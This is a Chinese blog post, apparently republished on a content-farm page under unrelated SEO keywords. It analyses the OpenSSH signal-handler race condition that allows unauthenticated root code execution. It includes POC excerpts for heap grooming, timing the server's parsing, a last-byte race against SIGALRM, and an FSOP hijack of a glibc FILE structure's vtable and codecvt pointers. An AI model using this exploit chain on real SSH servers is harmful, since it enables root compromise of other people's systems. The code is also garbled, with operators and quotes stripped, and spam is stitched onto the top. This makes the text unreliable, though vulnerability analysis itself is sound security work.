自己做的网站微信pc端显示乱码,建企业网站,logo设计图片免费 图案,大连鼎信网站建设公司文章目录 1. 漏洞成因2. 漏洞利用前置知识2.1 相关 SSH 协议报文格式2.2 Glibc 内存分配相关规则 3. POC3.1 堆内存布局3.2 服务端解析数据时间测量3.3 条件竞争3.4 FSOP 4. 相关挑战 原文链接#xff1a;个人博客
近几天#xff0c;OpenSSH爆出了一个非常严重的安全漏洞个人博客
近几天OpenSSH爆出了一个非常严重的安全漏洞该漏洞可导致未授权的root权限任意代码执行即 Unauthorized root RCE。该漏洞主要影响版本为 [8.5p1, 9.8p1)。下面对该漏洞进行简要分析。
分析使用的OpenSSH版本9.7p1
参考资料资料
1. 漏洞成因
这个漏洞可以看做是 CVE-2006-5051 的重演该漏洞在 8.5p1 版本被引入产生的原因是在 commit 752250C 中错误地删除了 sigdie() 函数中的一条语句 #ifdef DO_LOG_SAFE_IN_SIGHAND该函数在SIGALRM信号的 handler 函数中被直接调用。因此实际上该漏洞对于 4.4p1 版本的 OpenSSH 也有效。
在 SSHd 的 main 函数中通过 ssh_signal 函数注册了对于 SIGALRM 信号的 handler 函数 grace_alarm_handler。在 SSHd 中如果客户端在 LoginGraceTime 较新版本默认为120s时间内没有完成认证则会产生 SIGALRM 信号并异步调用 grace_alarm_handler。
// sshd.c, line 2222ssh_signal(SIGALRM, grace_alarm_handler);--------------------------------------------------------------------------------// sshd.c, line 349/** Signal handler for the alarm after the login grace period has expired.*/
static void
grace_alarm_handler(int sig)
{/** Try to kill any processes that we have spawned, E.g. authorized* keys command helpers or privsep children.*/if (getpgid(0) getpid()) {ssh_signal(SIGTERM, SIG_IGN);kill(0, SIGTERM);}/* Log error and exit. */sigdie(Timeout before authentication for %s port %d,ssh_remote_ipaddr(the_active_state),ssh_remote_port(the_active_state));
}这里重点关注 sigdie。
// log.h, line 96#define sigdie(...) sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__)--------------------------------------------------------------------------------// log.c, line 450void
sshsigdie(const char *file, const char *func, int line, int showfunc,LogLevel level, const char *suffix, const char *fmt, ...)
{va_list args;va_start(args, fmt);sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL,suffix, fmt, args);va_end(args);_exit(1);
}void
sshlogv(const char *file, const char *func, int line, int showfunc,LogLevel level, const char *suffix, const char *fmt, va_list args)
{...do_log(level, forced, suffix, fmt2, args); // line 493
}--------------------------------------------------------------------------------// log.c, line 336static void
do_log(LogLevel level, int force, const char *suffix, const char *fmt,va_list args)
{...syslog(pri, %.500s, fmtbuf); // line 419syslog 是libc实现的库函数。如果在其中调用了异步执行不安全的函数如 malloc 因为 malloc 进行内存分配时不会加锁那么就有可能出现内存不安全问题。
事实是它确实调用了
// /misc/bits/syslog.h, line 28__fortify_function void
syslog (int __pri, const char *__fmt, ...)
{__syslog_chk (__pri, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
}--------------------------------------------------------------------------------// /misc/syslog.c, line 103void
__syslog_chk (int pri, int flag, const char *fmt, ...)
{va_list ap;va_start (ap, fmt);__vsyslog_internal (pri, fmt, ap, (flag 0) ? PRINTF_FORTIFY : 0);va_end (ap);
}--------------------------------------------------------------------------------// /misc/syslog.c, line 119void
__vsyslog_internal (int pri, const char *fmt, va_list ap,unsigned int mode_flags)
{...struct tm *now_tmp __localtime64_r (now, now_tm); // line 158--------------------------------------------------------------------------------// /time/localtime.c, line 27struct tm *
__localtime64_r (const __time64_t *t, struct tm *tp)
{return __tz_convert (*t, 1, tp);
}--------------------------------------------------------------------------------// /time/tzset.c, line 566struct tm *
__tz_convert (__time64_t timer, int use_localtime, struct tm *tp)
{...tzset_internal (tp _tmbuf use_localtime); // line 577--------------------------------------------------------------------------------// /time/tzset.c, line 366static void
tzset_internal (int always)
{...__tzfile_read (tz, 0, NULL); // line 405--------------------------------------------------------------------------------// /time/tzset.c, line 100void
__tzfile_read (const char *file, size_t extra, char **extrap)
{...FILE *f; // line 105...f fopen (file, rce); // line 162...if (__builtin_expect (__fread_unlocked ((void *) tzhead, sizeof (tzhead), // line 1821, f) ! 1, 0)当 __localtime64_r 第一次执行时将按照上面的流程执行。可以看到这里的 fopen 即为异步不安全函数调用它的内部需要调用 malloc 分配一个 FILE 结构。在 __fread_unlocked 中也需要调用 malloc 分配一个 4KB 的读缓冲区。
2. 漏洞利用前置知识
要深入理解该漏洞的整个利用逻辑首先需要了解一些前置知识。
2.1 相关 SSH 协议报文格式
OpenSSH 实现了对于 SSH 协议的所有解析逻辑在本漏洞中需要了解的是 SSH 协议的算法交换部分。
在 SSH 建立连接之前首先需要完成客户端与服务端的算法协商这些算法包括密钥交换算法、报文加密算法等。因为客户端与服务端的 SSH 版本可能不同支持的算法也可能不同因此需要协商出客户端与服务端都实现的算法。对于算法的协商SSH 协议通过4个报文完成
客户端将自身支持的算法发送至服务端。服务端将自身支持的算法发送至客户端。客户端向服务器发送自己选择的算法。服务端向客户端发送响应表示收到客户端的算法选择。
在前面两个报文中对于支持算法的发送采用的是 ASCII 明文。具体的 SSH 报文格式如下
4 bytes – SSH 报文总长度大端序1 byte – padding length即最后用于填充的字节数量1 byte – message code即 SSH 报文消息码算法选择的消息码为 20/0x1416 bytes – cookie变长部分 – 用于列举所有本端可用的算法。每一种算法发送的格式为 4 bytes – algorithm length即算法描述的长度变长部分 – 算法的具体内容以 ASCII 码形式发送 可想而知对于服务端与客户端而言要想实现对这个报文的解析必须使用一定的内存空间保存这些算法的相关描述。这一逻辑在 SSHd 中通过 sshkey.c 中的 cert_parseline 1761函数实现。在这个函数中循环调用 malloc 函数以保存报文内容。当发送的报文解析失败时将会调用 sshkey.c 中的 cert_freeline 569函数循环释放这些内存空间。
2.2 Glibc 内存分配相关规则
该漏洞已经证实能够在基于 Glibc 的 Linux SSH 中完成利用。这与 Glibc 的内存分配策略高度相关。
Glibc 将一块用户可用堆内存称为 chunk的大小保存在其前面低地址的位置当用户程序需要释放 chunk 时Glibc 将根据这块内存的大小将 chunk 链入不同的链表中这些链表称为 bins。根据功能不同Glibc 将这些 bins 分为几类tcache、fastbin、small bin、large bin、unsorted bin。
Glibc 的内存分配主要通过 _int_malloc 函数实现释放则主要通过 _int_free 实现。在网址中可以找到所有版本的 Glibc 源码感兴趣的读者可自行查看。下面介绍与本漏洞相关的一些内存分配特性
在内存分配过程中Glibc 首先会从 tcache、fastbin、small bin 中查找如果没有找到合适的 chunk则会遍历 unsorted bin 进行查找。unsorted bin 中可保存任意大小的较大的 chunk遍历过程中如果发现不等于分配需求的 chunk会根据其大小将其转移到合适的 small bin/large bin 中。当 unsorted bin 遍历完毕后如果还是没有找到合适的 chunk则会尝试在 large bins 中寻找可用的大 chunk 并拆分之。这个拆分操作需要满足多个前提条件这里不是重点。拆分完成后剩余的 chunk 将会保存为 last remainder该 chunk 将被放在 unsorted bin 的开头位置它将在下一次遍历 unsorted bin 时优先被考虑分配。需要注意的是remainder chunk 是在其拆分完成后设置其 size 字段的。在 remainder chunk 被切分出来后但没有设置 size 前对 size 字段进行修改即可实际上控制这个 chunk 的大小可以让这个 chunk 与后面的 chunk 重叠。在 size 字段被正确修改前立即将该 chunk 分配出去即可完成对堆内存的破坏。
为了保证其他的内存分配操作不会破坏所需的堆内存布局客户端可以通过多次发送公钥数据包将 tcache 填满为了提升利用的成功率在公钥文件不大于256KB的情况下可以生成27个上图的 large-small holes 结构其中 chunk 的大小有微小区别。
3. POC
POC 来源github
下面分析POC中的关键代码逻辑。通过下面的分析可以帮助读者彻底了解该漏洞的利用方式、
在POC中首先需要进行与SSH服务器的连接与密钥交换。这部分代码不是重点略过。
3.1 堆内存布局
void
prepare_heap (int sock)
{// Packet a: Allocate and free tcache chunksfor (int i 0; i 10; i){unsigned char tcache_chunk[64];memset (tcache_chunk, A, sizeof (tcache_chunk));send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));// These will be freed by the server, populating tcache}// Packet b: Create 27 pairs of large (~8KB) and small (320B) holesfor (int i 0; i 27; i){// Allocate large chunk (~8KB)unsigned char large_hole[8192];memset (large_hole, B, sizeof (large_hole));send_packet (sock, 5, large_hole, sizeof (large_hole));// Allocate small chunk (320B)unsigned char small_hole[320];memset (small_hole, C, sizeof (small_hole));send_packet (sock, 5, small_hole, sizeof (small_hole));}// Packet c: Write fake headers, footers, vtable and _codecvt pointersfor (int i 0; i 27; i){unsigned char fake_data[4096];create_fake_file_structure (fake_data, sizeof (fake_data),GLIBC_BASES[0]);send_packet (sock, 5, fake_data, sizeof (fake_data));}// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)unsigned char large_string[MAX_PACKET_SIZE - 1];memset (large_string, E, sizeof (large_string));send_packet (sock, 5, large_string, sizeof (large_string));
}在这里send_packet 实现了一个简单的 SSH 协议数据包封装用于发送 SSH 数据包。
该函数中一共发送了4个数据包这4个数据包的作用分别为
填充 tcache。创建 27 个大小 chunk 对大 chunk 为 8KB小 chunk 为 320B。写入伪造的 FILE 结构体数据。发送一个超大数据包使得服务端对该 chunk 进行分配与释放令 glibc 将 27 个大小 chunk 对中的 27 个大 chunk 和 27 个小 chunk 转移到 large bins 与 small bins 中。
3.2 服务端解析数据时间测量
void
time_final_packet (int sock, double *parsing_time)
{double time_before measure_response_time (sock, 1);double time_after measure_response_time (sock, 2);*parsing_time time_after - time_before;printf (Estimated parsing time: %.6f seconds\n, *parsing_time);
}double
measure_response_time (int sock, int error_type)
{...struct timespec start, end;clock_gettime (CLOCK_MONOTONIC, start);send_packet (sock, 50, error_packet,packet_size); // SSH_MSG_USERAUTH_REQUESTchar response[1024];ssize_t received;do{received recv (sock, response, sizeof (response), 0);}while (received 0 (errno EWOULDBLOCK || errno EAGAIN));clock_gettime (CLOCK_MONOTONIC, end);double elapsed (end.tv_sec - start.tv_sec) (end.tv_nsec - start.tv_nsec) / 1e9;return elapsed;
}堆内存布局完成后POC 中通过 time_final_packet 来测量服务端解析客户端发送的数据的所需时间。这里测量了两次分别代表不同错误的解析时间。两次测量对应的错误在 SSHd 中的时间差产生于是否调用了 sshkey_from_blob因此将两个时间段相减即可得到函数 sshkey_from_blob 的执行时间。
3.3 条件竞争
完成上述操作之后客户端还需要发送最后一个超大的 SSH 报文。该报文是算法协商报文长度为 SSH 协议允许的最大长度。由于 SSH 报文前面带有长度字段因此一个 SSH 报文允许被包装在多个 TCP 报文中传输。在下面的代码中POC 直接发送最后一个报文但故意少发送 1 个字节让服务端一直等待最后 1 个字节的到来
int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{unsigned char final_packet[MAX_PACKET_SIZE];create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);// Send all but the last byteif (send (sock, final_packet, sizeof (final_packet) - 1, 0) 0){perror (send final packet);return 0;}随后进行计时准备好在即将超时的瞬间发送最后 1 个字节 // Precise timing for last bytestruct timespec start, current;clock_gettime (CLOCK_MONOTONIC, start);while (1){clock_gettime (CLOCK_MONOTONIC, current);double elapsed (current.tv_sec - start.tv_sec) (current.tv_nsec - start.tv_nsec) / 1e9;if (elapsed (LOGIN_GRACE_TIME - parsing_time - 0.001)){ // 1ms before SIGALRMif (send (sock, final_packet[sizeof (final_packet) - 1], 1, 0) 0){perror (send last byte);return 0;}break;}}发送最后一个字节后服务端发现这是一个算法协商报文因此会多次调用 cert_parse 函数进行解析。POC 精心构造了这个超长报文使得 cert_parse 将会循环 54 次解析过程每次解析过程都会调用一次 malloc 函数。POC 能够让 SSHd 以 0x4096、0x304FILE 结构体的大小、0x4096、0x304、… 的顺序调用 malloc 函数分配内存使得在后面的一段时间内SSHd 会进行一系列的内存分配同时由于超时SSHd 将异步地执行另外的内存分配。在此之前由于我们分配的 8KB、320 Bytes 内存中的任意内容均可控因此完全可以提前在 320 byte 的 chunk 中写好伪造的 FILE 结构体与虚假的过大的 remainder size。这样一来只要 syslog 抢在 remainder size 更新前将虚大的 remainder 分配出去就能够使 remainder 部分覆盖 syslog 获取的 FILE 结构体。
注意由于 0x320 chunk 位于 tcache因此 syslog 获取 FILE 结构体并不会切分 remainder这个操作是由后面分配 4KB 的读缓冲区触发的。切分 remainder 后还会剩下一个小 remainder_int_malloc 一更新这个小 remainder 的相关字段就完成了对 syslog 的 FILE 结构体的破坏。 3.4 FSOP
该漏洞在32位下可以通过 FSOP 完成利用这主要是考虑到 32 位系统的 ASLR 保护不完善Glibc 只能映射到两个基地址0xb7400000 或 0xb7200000。这正给了攻击者做文章的机会。
在上一节我们提到通过更新 remainder 的 相关字段能够达到破坏 FILE 结构体的效果。具体而言它实际上是修改了 FILE 结构体中的 _vtable_offset 字段
struct _IO_FILE
{int _flags; /* High-order word is _IO_MAGIC; rest is flags. *//* The following pointers correspond to the C streambuf protocol. */char *_IO_read_ptr; /* Current read pointer */char *_IO_read_end; /* End of get area. */char *_IO_read_base; /* Start of putbackget area. */char *_IO_write_base; /* Start of put area. */char *_IO_write_ptr; /* Current put pointer. */char *_IO_write_end; /* End of put area. */char *_IO_buf_base; /* Start of reserve area. */char *_IO_buf_end; /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base; /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;struct _IO_FILE *_chain;int _fileno;int _flags2;__off_t _old_offset; /* This used to be _offset but its too small. *//* 1column number of pbase(); 0 is unknown. */unsigned short _cur_column;signed char _vtable_offset;char _shortbuf[1];_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};struct _IO_FILE_complete
{struct _IO_FILE _file;
#endif__off64_t _offset;/* Wide character stream stuff. */struct _IO_codecvt *_codecvt;struct _IO_wide_data *_wide_data;struct _IO_FILE *_freeres_list;void *_freeres_buf;size_t __pad5;int _mode;/* Make sure we dont get into trouble again. */char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};如果猜测 Glibc 的映射基地址为 0xb7400000那么 last remainder 的 fd 指针与 bk 指针指向 unsorted bin 后其值应该为 0xb761d7f8随 Glibc 版本不同而不同但高 2 字节基本都相同反映到上面的 FILE 结构体中则是将 _vtable_offset 修改为 bk 指针的第 3 个字节——0x61。
// Glibc 2.36, /malloc/malloc.c, line 4024remainder_size size - nb;remainder chunk_at_offset (victim, nb);unsorted_chunks (av)-bk unsorted_chunks (av)-fd remainder;av-last_remainder remainder;remainder-bk remainder-fd unsorted_chunks (av);在 Glibc 中对于文件读写等操作的相关函数是统一保存在一个个 vtable 中的实际执行时需要首先访问 vtable再获取其中的函数指针以调用执行。将 _vtable_offset 改为 0x61 后syslog 的 __fread_unlocked 将会找到 _IO_wfile_jumps 这个 vtable选择其中的 _IO_wfile_underflow 函数执行正常情况下应该是执行 _IO_file_jumps 中的 _IO_file_underflow。在 _IO_wfile_underflow 中存在下面的调用链
_IO_wfile_underflow__libio_codecvt_inDL_CALL_FCT// Glibc 2.36, /libio/wfileops.c, line 110wint_t
_IO_wfile_underflow (FILE *fp)
{...cd fp-_codecvt; // line 130...status __libio_codecvt_in (cd, fp-_wide_data-_IO_state,fp-_IO_read_ptr, fp-_IO_read_end,read_stop,fp-_wide_data-_IO_read_ptr,fp-_wide_data-_IO_buf_end,fp-_wide_data-_IO_read_end); // line 141-146...
}--------------------------------------------------------------------------------// Glibc 2.36, /libio/iofwide.c, line 161enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,const char *from_start, const char *from_end,const char **from_stop,wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{enum __codecvt_result result;struct __gconv_step *gs codecvt-__cd_in.step;...__gconv_fct fct gs-__fct; // line 178...status DL_CALL_FCT (fct,(gs, codecvt-__cd_in.step_data, from_start_copy,(const unsigned char *) from_end, NULL,dummy, 0, 0)); // line 184-187...
}--------------------------------------------------------------------------------// Glibc 2.36, /iconv/skeleton.c, line 153#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif需要注意的是fopen 并没有对 FILE 结构体的 _codecvt 字段进行初始化因此依然可以通过提前布置值完成对该字段的控制。
// Glibc 2.36, /libio/libio.h, line 114struct _IO_codecvt
{_IO_iconv_t __cd_in;_IO_iconv_t __cd_out;
};--------------------------------------------------------------------------------// Glibc 2.36, /libio/libio.h, line 50typedef struct
{struct __gconv_step *step;struct __gconv_step_data step_data;
} _IO_iconv_t;--------------------------------------------------------------------------------// Glibc 2.36, /iconv/gconv.h, line 83/* Description of a conversion step. */
struct __gconv_step
{struct __gconv_loaded_object *__shlib_handle;const char *__modname;/* For internal use by glibc. (Accesses to this member must occurwhen the internal __gconv_lock mutex is acquired). */int __counter;char *__from_name;char *__to_name;__gconv_fct __fct;...
}从上面的结构定义来看我们需要的 __fct 函数指针经过多层结构包装。为了让提前写入的指针能够完整地构建调用链攻击者可以选择将 _codecvt 写成 Glibc 的 bins 的地址这样实际就是让 Glibc 将我们释放的 chunk 的前面一小部分看做 _IO_iconv_t 结构接下去如法炮制在已经释放的 chunk 中完成精心构造即可让代码最终执行我们伪造的 __fct 函数指针完成任意代码执行。
4. 相关挑战
该漏洞的利用较为困难这主要是因为猜测 ASLR 与时间窗口竞争叠加的结果。
地址空间布局随机化Address Space Layout Randomization是一种常用的程序运行时保护方式多次执行时同一个段会映射到不同的内存地址。但 glibc 在32位下实际上只会映射到 0xb7400000 或 0xb7200000因此实现 FSOP 还是有可能的。但是时间竞争窗口较小导致总体成功率依然极低实验室环境下6~8小时尝试平均10000次才能成功。在64位强化 ASLR 中通过猜测 glibc 加载地址进行攻击的利用方式就更加无法实现了。
